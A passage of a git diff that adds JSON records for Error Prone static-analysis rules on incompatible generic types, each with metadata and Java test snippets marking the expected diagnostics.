return xs.contains(x);\n }\n }" + }, + { + "description": "treeMap_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import java.util.Collection;\n import java.util.TreeMap;\n\n class Test {\n boolean foo(TreeMap, Integer> xs, Collection x) {\n return xs.containsKey(x);\n }\n }" + }, + { + "description": "sortedMap_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 84 + ], + "code": "import java.util.Collection;\n import java.util.SortedMap;\n\n class Test {\n boolean foo(SortedMap, Integer> xs, Collection x) {\n return xs.containsKey(x);\n }\n }" + }, + { + "description": "sortedSet_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 102 + ], + "code": "import java.util.Collection;\n import java.util.SortedSet;\n\n class Test {\n boolean foo(SortedSet> xs, Collection x) {\n return xs.contains(x);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CompatibleWithMisuse.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CompatibleWithMisuse.json new file mode 100644 index 0000000..dbe4d71 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/CompatibleWithMisuse.json @@ -0,0 +1,70 @@ +{ + "name": "CompatibleWithMisuse", + "language": "java", + "description": "@CompatibleWith's value is not a type argument.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 119, + "branches": 9, + "apis": 5, + "test": [ + { + "description": "oK", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.errorprone.annotations.CompatibleWith;\n\n class Test {\n static final String CONSTANT = \"X\";\n\n void doSomething(@CompatibleWith(\"X\") Object ok) {}\n\n void doSomethingWithConstant(@CompatibleWith(CONSTANT) Object ok) {}\n\n void doSomethingElse(@CompatibleWith(\"Y\") Object ok) {}\n\n void doSomethingTwice(@CompatibleWith(\"X\") Object ok) {}\n }" + }, + { + "description": "bad", + "expected-problems": null, + "expected-linenumbers": [ + 54 + ], + "code": "import com.google.errorprone.annotations.CompatibleWith;\n\n class Test {\n static final String CONSTANT = \"Y\";\n\n // BUG: Diagnostic contains: Valid arguments are: X\n void doSomething(@CompatibleWith(\"Y\") Object bad) {}\n\n // BUG: Diagnostic contains: Valid arguments are: X\n void doSomethingWithConstant(@CompatibleWith(CONSTANT) Object bad) {}\n\n // BUG: Diagnostic contains: not be empty (valid arguments are X)\n void doSomethingEmpty(@CompatibleWith(\"\") Object bad) {}\n\n // BUG: Diagnostic contains: Valid arguments are: Z, X\n void doSomethingElse(@CompatibleWith(\"Y\") Object ok) {}\n }" + }, + { + "description": "overridesAlreadyAnnotated", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "import com.google.errorprone.annotations.CompatibleWith;\n\n class Test {\n void doSomething(@CompatibleWith(\"X\") Object bad) {}\n }\n\n class Foo extends Test {\n // BUG: Diagnostic contains: in Test that already has @CompatibleWith\n void doSomething(@CompatibleWith(\"X\") Object bad) {}\n }" + }, + { + "description": "noTypeArgs", + "expected-problems": null, + "expected-linenumbers": [ + 101 + ], + "code": "import com.google.errorprone.annotations.CompatibleWith;\n\n class Test {\n // BUG: Diagnostic contains: There are no type arguments\n void doSomething(@CompatibleWith(\"Y\") Object bad) {}\n }" + }, + { + "description": "allowedOnVarargs", + "expected-problems": null, + "expected-linenumbers": [ + 117 + ], + "code": "import com.google.errorprone.annotations.CompatibleWith;\n\n class Test {\n void doSomething(@CompatibleWith(\"Y\") Object... ok) {}\n }" + }, + { + "description": "innerTypes", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "import com.google.errorprone.annotations.CompatibleWith;\n\n class Test {\n class Test2 {\n class Test3 {\n // BUG: Diagnostic contains: Valid arguments are: Z, Y, X\n void doSomething(@CompatibleWith(\"P\") Object bad) {}\n\n // BUG: Diagnostic contains: Valid arguments are: Q, Z, Y, X\n void doSomethingElse(@CompatibleWith(\"P\") Object bad) {}\n }\n }\n }" + }, + { + "description": "nestedTypes", + "expected-problems": null, + "expected-linenumbers": [ + 155 + ], + "code": "import com.google.errorprone.annotations.CompatibleWith;\n\n class Test {\n static class Test2 {\n class Test3 {\n // BUG: Diagnostic contains: Valid arguments are: Z, Y\n void doSomething(@CompatibleWith(\"X\") Object bad) {}\n\n // BUG: Diagnostic contains: Valid arguments are: Q, Z, Y\n void doSomethingElse(@CompatibleWith(\"X\") Object bad) {}\n }\n\n // BUG: Diagnostic contains: Valid arguments are: Y\n void doSomething(@CompatibleWith(\"X\") Object bad) {}\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/IncompatibleArgumentType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/IncompatibleArgumentType.json new file mode 100644 index 0000000..08fcb17 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/IncompatibleArgumentType.json @@ -0,0 +1,62 @@ +{ + "name": "IncompatibleArgumentType", + "language": "java", + "description": "Passing argument to a generic method with an incompatible type.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 224, + "branches": 30, + "apis": 11, + "test": [ + { + "description": "genericMethod", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata;\n\nimport com.google.errorprone.annotations.CompatibleWith;\n\n/** Test IncompatibleArgumentType with a generic method */\npublic class IncompatibleArgumentTypeGenericMethod {\n class A {\n C remove(@CompatibleWith(\"B\") Object b, @CompatibleWith(\"C\") Object c) {\n return null;\n }\n\n C varargs(@CompatibleWith(\"B\") Object b, @CompatibleWith(\"C\") Object... cs) {\n return (C) cs[0];\n }\n }\n\n class C extends A {}\n\n void testfoo(C c, A unbound, A boundToNumber) {\n c.remove(\"a\", null); // OK, match null to Double\n c.remove(\"a\", 123.0); // OK, match Double to Double\n c.remove(\"a\", 123); // OK, 2nd arg is unbound\n\n unbound.remove(null, 123); // OK, variables unbound\n\n // BUG: Diagnostic contains: String is not compatible with the required type: Number\n boundToNumber.remove(\"123\", null);\n\n // BUG: Diagnostic contains: int is not compatible with the required type: Double\n Double d = c.remove(\"a\", 123);\n // BUG: Diagnostic contains: int is not compatible with the required type: Double\n c.remove(\"a\", 123);\n\n // BUG: Diagnostic contains: float is not compatible with the required type: Double\n c.remove(123, 123.0f);\n }\n\n void testVarargs(A stringA) {\n // OK, all varargs elements compatible with Integer\n Integer first = stringA.varargs(\"hi\", 2, 3, 4);\n\n // BUG: Diagnostic contains: long is not compatible with the required type: Integer\n first = stringA.varargs(\"foo\", 2, 3L);\n\n // OK, everything compatible w/ Object\n Object o = stringA.varargs(\"foo\", 2L, 1.0d, \"a\");\n }\n}\\" + }, + { + "description": "owningTypes", + "expected-problems": null, + "expected-linenumbers": [ + 91 + ], + "code": "package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata;\n\nimport com.google.errorprone.annotations.CompatibleWith;\nimport java.util.Set;\n\n/** Test case for enclosing type */\npublic class IncompatibleArgumentTypeEnclosingTypes {\n static class Foo {\n class Bar {\n void doSomething(@CompatibleWith(\"Y\") Object x) {}\n }\n\n class Sub {\n class SubSub {\n void doSomething(@CompatibleWith(\"X\") Object nestedResolution) {}\n\n X methodVarIsReturn(@CompatibleWith(\"X\") Object nestedResolution) {\n return null;\n }\n\n void methodVarIsFree(@CompatibleWith(\"X\") Object nestedResolution) {}\n\n void compatibleWithBase(@CompatibleWith(\"Y\") Object nestedResolution) {}\n }\n }\n\n static class Baz {\n // Shouldn't resolve to anything, would be a compile error due to CompatibleWithMisuse\n static void doSomething(@CompatibleWith(\"X\") Object x) {}\n }\n }\n\n void testSubs() {\n new Foo().new Bar().doSomething(\"a\");\n // BUG: Diagnostic contains: int is not compatible with the required type: String\n new Foo().new Bar().doSomething(123);\n new Foo().new Bar().doSomething(123);\n\n Foo.Bar rawtype = new Foo().new Bar();\n rawtype.doSomething(123); // Weakness, rawtype isn't specialized in Foo\n\n Foo.Baz.doSomething(123); // No resolution of X\n }\n\n void testMegasub() {\n new Foo().new Sub().new SubSub().doSomething(true);\n // BUG: Diagnostic contains: int is not compatible with the required type: Boolean\n new Foo().new Sub().new SubSub().doSomething(123);\n\n // X in method is unbound\n new Foo().new Sub().new SubSub().methodVarIsReturn(123);\n\n // BUG: Diagnostic contains: int is not compatible with the required type: Set\n new Foo().new Sub().new SubSub().>methodVarIsReturn(123);\n\n // BUG: Diagnostic contains: int is not compatible with the required type: String\n new Foo().new Sub().new SubSub().>compatibleWithBase(123);\n }\n\n void extraStuff() {\n // Javac throws away the type of since it's not used in params/return type, so we can't\n // enforce it here.\n new Foo().new Sub().new SubSub().>methodVarIsFree(123);\n }\n}\\" + }, + { + "description": "multimapIntegration", + "expected-problems": null, + "expected-linenumbers": [ + 166 + ], + "code": "package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata;\n\nimport com.google.errorprone.annotations.CompatibleWith;\n\n/** Integration test testing a hypothetical multimap interface */\npublic class IncompatibleArgumentTypeMultimapIntegration {\n interface Multimap {\n boolean containsKey(@CompatibleWith(\"K\") Object key);\n\n boolean containsValue(@CompatibleWith(\"V\") Object value);\n\n boolean containsEntry(@CompatibleWith(\"K\") Object key, @CompatibleWith(\"V\") Object value);\n\n boolean containsAllKeys(@CompatibleWith(\"K\") Object key, Object... others);\n }\n\n class MyMultimap implements Multimap {\n @Override\n public boolean containsKey(Object key) {\n return false;\n }\n\n @Override\n public boolean containsValue(Object value) {\n return false;\n }\n\n @Override\n public boolean containsEntry(Object key, Object value) {\n return false;\n }\n\n @Override\n public boolean containsAllKeys(Object key, Object... keys) {\n return false;\n }\n }\n\n void testRegularValid(Multimap intToString) {\n intToString.containsKey(123);\n intToString.containsEntry(123, \"abc\");\n intToString.containsValue(\"def\");\n // 0-entry vararg doesn't crash\n intToString.containsAllKeys(123);\n }\n\n static void testIncompatibleWildcards(\n Multimap map, K key, V value) {\n map.containsKey(key);\n map.containsValue(value);\n map.containsEntry(key, value);\n\n // BUG: Diagnostic contains: V is not compatible with the required type: K\n map.containsEntry(value, key);\n // BUG: Diagnostic contains: K is not compatible with the required type: V\n map.containsValue(key);\n // BUG: Diagnostic contains: V is not compatible with the required type: K\n map.containsKey(value);\n }\n\n void testVarArgs(Multimap intToString) {\n // Validates the first, not the varags params\n intToString.containsAllKeys(123, 123, 123);\n // TODO(glorioso): If we make it work with varargs, this should fail\n intToString.containsAllKeys(123, 123, \"a\");\n\n Integer[] keys = {123, 345};\n intToString.containsAllKeys(123, (Object[]) keys);\n }\n}\\" + }, + { + "description": "intersectionTypes", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "package com.google.errorprone.bugpatterns.collectionincompatibletype.testdata;\n\nimport com.google.errorprone.annotations.CompatibleWith;\n\n/** Test intersection types. */\npublic class IncompatibleArgumentTypeIntersectionTypes {\n\n interface Nothing {}\n\n interface Something {}\n\n interface Everything extends Nothing, Something {}\n\n class Test {\n void doSomething(@CompatibleWith(\"X\") Object whatever) {}\n }\n\n class ArrayTest {\n void doSomething(@CompatibleWith(\"X\") Object whatever) {}\n }\n\n void testStuff(Test someTest, Everything[] everythings, Nothing nothing) {\n // Final classes (Integer) can't be cast to an interface they don't implement\n // BUG: Diagnostic contains: int is not compatible with the required type: Everything\n someTest.doSomething(123);\n\n // Non-final classes can.\n someTest.doSomething((Object) 123);\n\n // Arrays can't, since they can only be cast to Serializable\n // BUG: Diagnostic contains: Everything[] is not compatible with the required type: Everything\n someTest.doSomething(everythings);\n\n // BUG: Diagnostic contains: Everything[][] is not compatible with the required type: Everything\n someTest.doSomething(new Everything[][] {everythings});\n\n // OK (since some other implementer of Nothing could implement Everything)\n someTest.doSomething(nothing);\n }\n\n void testArraySpecialization(\n ArrayTest arrayTest, Integer[] ints, Object[] objz, String[] strings) {\n arrayTest.doSomething(ints);\n\n arrayTest.doSomething(objz);\n\n // BUG: Diagnostic contains: String[] is not compatible with the required type: Number[]\n arrayTest.doSomething(strings);\n }\n}\\" + }, + { + "description": "typeWithinLambda", + "expected-problems": null, + "expected-linenumbers": [ + 306 + ], + "code": "import com.google.common.collect.ImmutableList;\nimport com.google.errorprone.annotations.CompatibleWith;\nimport java.util.Map;\nimport java.util.Optional;\n\nabstract class Test {\n abstract Optional getOrEmpty(Map map, @CompatibleWith(\"K\") Object key);\n\n void test(Map map, ImmutableList xs) {\n // BUG: Diagnostic contains:\n getOrEmpty(map, xs);\n Optional x = Optional.empty().flatMap(k -> getOrEmpty(map, xs));\n }\n}" + }, + { + "description": "typeWithinLambda_jdkhead", + "expected-problems": null, + "expected-linenumbers": [ + 332 + ], + "code": "import com.google.common.collect.ImmutableList;\nimport com.google.errorprone.annotations.CompatibleWith;\nimport java.util.Map;\nimport java.util.Optional;\n\nabstract class Test {\n abstract Optional getOrEmpty(Map map, @CompatibleWith(\"K\") Object key);\n\n void test(Map map, ImmutableList xs) {\n // BUG: Diagnostic contains:\n getOrEmpty(map, xs);\n // BUG: Diagnostic contains:\n Optional x = Optional.empty().flatMap(k -> getOrEmpty(map, xs));\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/JUnitIncompatibleType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/JUnitIncompatibleType.json new file mode 100644 index 0000000..4794da9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/JUnitIncompatibleType.json @@ -0,0 +1,94 @@ +{ + "name": "JUnitIncompatibleType", + "language": "java", + "description": "The types passed to this assertion are incompatible.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 8, + "apis": 2, + "test": [ + { + "description": "assertEquals_mismatched", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import static org.junit.Assert.assertEquals;\n import static org.junit.Assert.assertNotEquals;\n\n class Test {\n public void test() {\n // BUG: Diagnostic contains:\n assertEquals(1, \"\");\n // BUG: Diagnostic contains:\n assertEquals(\"foo\", 1, \"\");\n // BUG: Diagnostic contains:\n assertEquals(\"foo\", \"\", 1);\n // BUG: Diagnostic contains:\n assertNotEquals(1, \"\");\n // BUG: Diagnostic contains:\n assertNotEquals(\"foo\", 1, \"\");\n }\n }" + }, + { + "description": "assertEquals_matched", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "import static org.junit.Assert.assertEquals;\n import static org.junit.Assert.assertNotEquals;\n\n class Test {\n public void test() {\n assertEquals(1, 2);\n assertEquals(1, 2L);\n assertEquals(\"foo\", 1, 2);\n assertNotEquals(1, 2);\n assertNotEquals(\"foo\", 1, 2);\n }\n }" + }, + { + "description": "assertArrayEquals_mismatched", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import static org.junit.Assert.assertArrayEquals;\n\n final class Test {\n public void test() {\n // BUG: Diagnostic contains:\n assertArrayEquals(new Test[] {}, new String[] {\"\"});\n // BUG: Diagnostic contains:\n assertArrayEquals(\"foo\", new Test[] {}, new String[] {\"\"});\n }\n }" + }, + { + "description": "assertArrayEquals_primitiveOverloadsFine", + "expected-problems": null, + "expected-linenumbers": [ + 99 + ], + "code": "import static org.junit.Assert.assertArrayEquals;\n\n final class Test {\n public void test() {\n assertArrayEquals(new long[] {1L}, new long[] {2L});\n }\n }" + }, + { + "description": "assertArrayEquals_cast", + "expected-problems": null, + "expected-linenumbers": [ + 116 + ], + "code": "import static org.junit.Assert.assertArrayEquals;\n\n final class Test {\n public void test(Object o, byte[] b) {\n assertArrayEquals((byte[]) o, b);\n }\n }" + }, + { + "description": "seesThroughCasts", + "expected-problems": null, + "expected-linenumbers": [ + 133 + ], + "code": "import static org.junit.Assert.assertEquals;\n import static org.junit.Assert.assertNotEquals;\n\n class Test {\n public void test() {\n // BUG: Diagnostic contains:\n assertEquals((Object) 1, (Object) 2L);\n }\n }" + }, + { + "description": "fourArgumentOverload", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "import static org.junit.Assert.assertArrayEquals;\n\n class Test {\n public void test() {\n assertArrayEquals(\"foo\", new double[] {1}, new double[] {2}, 10d);\n }\n }" + }, + { + "description": "arrayNullComparison", + "expected-problems": null, + "expected-linenumbers": [ + 169 + ], + "code": "import static org.junit.Assert.assertArrayEquals;\n\n class Test {\n public void test() {\n assertArrayEquals(null, new Object[] {2});\n }\n }" + }, + { + "description": "typeVariables_incompatible", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "import static org.junit.Assert.assertArrayEquals;\n import java.util.Map;\n\n class Test {\n public void test(Map xs) {\n T[] x = xs.get(1);\n // BUG: Diagnostic contains:\n assertArrayEquals(x, new Double[] {1d});\n }\n }" + }, + { + "description": "typeVariables_compatible", + "expected-problems": null, + "expected-linenumbers": [ + 206 + ], + "code": "import static org.junit.Assert.assertArrayEquals;\n import java.util.Map;\n\n class Test {\n public void test(Map xs) {\n T[] x = xs.get(1);\n assertArrayEquals(x, new Double[] {1d});\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/TruthIncompatibleType.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/TruthIncompatibleType.json new file mode 100644 index 0000000..692cc4b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/collectionincompatibletype/TruthIncompatibleType.json @@ -0,0 +1,358 @@ +{ + "name": "TruthIncompatibleType", + "language": "java", + "description": "Argument is not compatible with the subject's type.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 475, + "branches": 34, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n static final class A {}\n\n static final class B {}\n\n public void f(A a, B b) {\n // BUG: Diagnostic contains:\n assertThat(a).isEqualTo(b);\n // BUG: Diagnostic contains:\n assertThat(a).isNotEqualTo(b);\n }\n }" + }, + { + "description": "assumeTypeCheck", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "import static com.google.common.truth.TruthJUnit.assume;\n\n public class Test {\n static final class A {}\n\n static final class B {}\n\n public void f(A a, B b) {\n // BUG: Diagnostic contains:\n assume().that(a).isEqualTo(b);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 92 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n static final class A {}\n\n static final class B {}\n\n public void f(A a, B b) {\n assertThat(a).isEqualTo(a);\n assertThat(b).isEqualTo(b);\n assertThat(\"a\").isEqualTo(\"b\");\n }\n }" + }, + { + "description": "mixedNumberTypes_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n public void f() {\n assertThat(2L).isEqualTo(2);\n }\n }" + }, + { + "description": "mixedBoxedNumberTypes_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 132 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n public void f() {\n assertThat(Byte.valueOf((byte) 2)).isEqualTo(2);\n }\n }" + }, + { + "description": "chainedThrowAssertion_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n public void f(Exception e) {\n assertThat(e).hasMessageThat().isEqualTo(\"foo\");\n }\n }" + }, + { + "description": "clazz", + "expected-problems": null, + "expected-linenumbers": [ + 166 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n public void f(Class a, Class b) {\n try {\n } catch (Exception e) {\n assertThat(e.getCause().getClass()).isEqualTo(IllegalArgumentException.class);\n }\n }\n }" + }, + { + "description": "containment", + "expected-problems": null, + "expected-linenumbers": [ + 186 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n public void f(Iterable xs, String x) {\n // BUG: Diagnostic contains:\n assertThat(xs).contains(x);\n }\n }" + }, + { + "description": "containment_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 204 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n\n public class Test {\n public void f(Iterable xs, Number x) {\n assertThat(xs).contains(x);\n }\n }" + }, + { + "description": "vectorContainment", + "expected-problems": null, + "expected-linenumbers": [ + 221 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class Test {\n public void f(Iterable xs, String x) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactlyElementsIn(ImmutableList.of(x));\n }\n }" + }, + { + "description": "vectorContainment_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class Test {\n public void f(Iterable xs, Number x) {\n assertThat(xs).containsExactlyElementsIn(ImmutableList.of(x));\n }\n }" + }, + { + "description": "variadicCall_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 258 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class Test {\n public void f(Iterable xs, Number... x) {\n assertThat(xs).containsExactly((Object[]) x);\n }\n }" + }, + { + "description": "variadicCall_notActuallyAnArray_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 276 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class Test {\n public void f(Iterable xs, Object x) {\n assertThat(xs).containsExactlyElementsIn((Object[]) x);\n }\n }" + }, + { + "description": "variadicCall_checked", + "expected-problems": null, + "expected-linenumbers": [ + 294 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class Test {\n public void f(Iterable xs, String... x) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactly(x);\n }\n }" + }, + { + "description": "variadicCall_primitiveArray", + "expected-problems": null, + "expected-linenumbers": [ + 313 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class Test {\n public void f(Iterable xs, byte[] ys) {\n assertThat(xs).containsExactly(ys);\n }\n }" + }, + { + "description": "containsExactlyElementsIn_withArray_match", + "expected-problems": null, + "expected-linenumbers": [ + 331 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class Test {\n public void f(Iterable xs, Object... x) {\n assertThat(xs).containsExactlyElementsIn(x);\n }\n }" + }, + { + "description": "containsExactlyElementsIn_withArray_mismatched", + "expected-problems": null, + "expected-linenumbers": [ + 349 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class Test {\n public void f(Iterable xs, String... x) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactlyElementsIn(x);\n }\n }" + }, + { + "description": "containsExactlyElementsIn_numericTypes_notSpecialCased", + "expected-problems": null, + "expected-linenumbers": [ + 368 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n\n public class Test {\n public void f(Iterable xs, ImmutableList ys) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactlyElementsIn(ys);\n }\n }" + }, + { + "description": "comparingElementsUsingRawCorrespondence_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 387 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import com.google.common.truth.Correspondence;\n\n public class Test {\n @SuppressWarnings(\"unchecked\")\n public void f(Iterable xs, Correspondence c) {\n assertThat(xs).comparingElementsUsing(c).doesNotContain(\"\");\n }\n }" + }, + { + "description": "comparingElementsUsing_typeMismatch", + "expected-problems": null, + "expected-linenumbers": [ + 407 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import com.google.common.truth.Correspondence;\n\n public class Test {\n public void f(Iterable xs, Correspondence c) {\n // BUG: Diagnostic contains:\n assertThat(xs).comparingElementsUsing(c).doesNotContain(\"\");\n }\n }" + }, + { + "description": "comparingElementsUsing_typesMatch", + "expected-problems": null, + "expected-linenumbers": [ + 427 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import com.google.common.truth.Correspondence;\n\n public class Test {\n public void f(Iterable xs, Correspondence c) {\n assertThat(xs).comparingElementsUsing(c).doesNotContain(\"\");\n }\n }" + }, + { + "description": "mapContainsExactlyEntriesIn_keyTypesDiffer", + "expected-problems": null, + "expected-linenumbers": [ + 446 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.util.Map;\n\n public class Test {\n public void f(Map xs, Map ys) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactlyEntriesIn(ys);\n }\n }" + }, + { + "description": "mapContainsExactlyEntriesIn_valueTypesDiffer", + "expected-problems": null, + "expected-linenumbers": [ + 465 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.util.Map;\n\n public class Test {\n public void f(Map xs, Map ys) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactlyEntriesIn(ys);\n }\n }" + }, + { + "description": "mapContainsExactly", + "expected-problems": null, + "expected-linenumbers": [ + 484 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.util.Map;\n\n public class Test {\n public void f(Map xs) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactly(\"\", 1L, \"foo\", 2L, \"bar\", 3);\n }\n }" + }, + { + "description": "mapContainsExactly_varargs", + "expected-problems": null, + "expected-linenumbers": [ + 503 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import java.util.Map;\n\n public class Test {\n public void f(Map xs, String a, Long b, Object... rest) {\n assertThat(xs).containsExactly(a, b, rest);\n }\n }" + }, + { + "description": "multimapContainsExactly", + "expected-problems": null, + "expected-linenumbers": [ + 521 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.Multimap;\n\n public class Test {\n public void f(Multimap xs) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactly(\"\", 1L, \"foo\", 2L, \"bar\", 3);\n }\n }" + }, + { + "description": "streamContainsExactly", + "expected-problems": null, + "expected-linenumbers": [ + 540 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.Multimap;\n import java.util.stream.Stream;\n\n public class Test {\n public void f(Stream xs) {\n // BUG: Diagnostic contains:\n assertThat(xs).containsExactly(1, 2);\n }\n }" + }, + { + "description": "protoTruth_positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 560 + ], + "code": "import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class Test {\n void test(TestFieldProtoMessage a, TestProtoMessage b) {\n // BUG: Diagnostic contains:\n assertThat(a).isNotEqualTo(b);\n }\n }" + }, + { + "description": "protoTruth_withModifiers_positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 580 + ], + "code": "import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class Test {\n void test(TestFieldProtoMessage a, TestProtoMessage b) {\n // BUG: Diagnostic contains:\n assertThat(a).ignoringFields(1).isNotEqualTo(b);\n }\n }" + }, + { + "description": "protoTruth_contains", + "expected-problems": null, + "expected-linenumbers": [ + 600 + ], + "code": "import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class Test {\n void test(Iterable a, TestProtoMessage b) {\n // BUG: Diagnostic contains:\n assertThat(a).containsExactly(b);\n }\n }" + }, + { + "description": "protoTruth_negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 620 + ], + "code": "import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;\n import com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\n\n final class Test {\n void test(TestFieldProtoMessage a, TestFieldProtoMessage b) {\n assertThat(a).isNotEqualTo(b);\n }\n }" + }, + { + "description": "protoTruth_comparingElementsUsinng", + "expected-problems": null, + "expected-linenumbers": [ + 638 + ], + "code": "import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.truth.Correspondence;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestFieldProtoMessage;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\npublic class Test {\n public void f(\n Iterable xs, Correspondence c) {\n // BUG: Diagnostic contains:\n assertThat(xs).comparingElementsUsing(c).doesNotContain(TestProtoMessage.getDefaultInstance());\n }\n}" + }, + { + "description": "comparingElementsUsingRawCollection_noFinding", + "expected-problems": null, + "expected-linenumbers": [ + 661 + ], + "code": "import static com.google.common.truth.Truth.assertThat;\n import com.google.common.collect.ImmutableList;\n import com.google.common.truth.Correspondence;\n\n public class Test {\n @SuppressWarnings(\"unchecked\")\n public void f(Iterable xs, Correspondence c) {\n assertThat(xs).comparingElementsUsing(c).doesNotContain(\"\");\n }\n }" + }, + { 